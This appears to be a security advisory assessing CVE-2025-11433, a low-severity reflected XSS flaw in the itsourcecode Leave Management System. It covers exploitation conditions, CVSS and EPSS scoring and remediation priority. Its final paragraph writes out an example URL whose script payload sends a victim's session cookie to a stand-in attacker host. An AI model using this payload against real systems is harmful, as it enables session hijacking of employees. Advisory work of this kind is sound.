itsourcecode Leave Management System CVE-2025-11433

Exploitation requires three specific conditions: (1) the attacker must be authenticated as a valid user of the Leave Management System with active session credentials; (2) the victim must actively click or interact with a crafted malicious link containing the XSS payload - the vulnerability is not self-executing; (3) the victim's browser must execute JavaScript (i.e., JavaScript is not disabled). The vulnerability is limited to reflected XSS, meaning the payload is not persisted in the database and affects only users who visit the malicious link. The flaw does not affect API calls or automated requests without browser context, and exploitation cannot occur without prior authentication.

This vulnerability presents minimal real-world risk despite public exploit availability. The CVSS 4.0 vector indicates authentication (PR:L), user interaction (UI:P), and information disclosure only (VI:L with VC:N, VA:N, SC:N, SI:N, SA:N), yielding a CVSS score of 2.0. The EPSS score of 0.03% (8th percentile) confirms low exploitation probability in the wild. The attack requires a logged-in user to click a malicious link, which significantly reduces the attack surface compared to unauthenticated network-accessible vulnerabilities. The lack of confidentiality, availability, or integrity impact on system data, combined with the user-interaction requirement, suggests this is suitable for low-priority remediation in most environments. However, if the affected system manages sensitive employee data (salary, personal information), the confidentiality implications of XSS session hijacking warrant medium priority. No indication of active exploitation in CISA KEV or public attack reports; public POC exists but has not translated to observed attacks.

An attacker crafts a malicious URL such as /module/employee/controller.php?action=reset&id=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> and tricks an authenticated employee into clicking the link (via phishing email or social engineering). When the employee clicks the link, the unescaped ID parameter is reflected in the page response, executing the injected JavaScript in the victim's browser and exfiltrating their session cookie to the attacker's server. The attacker then uses the stolen session to impersonate the employee and access sensitive leave records or modify employee data.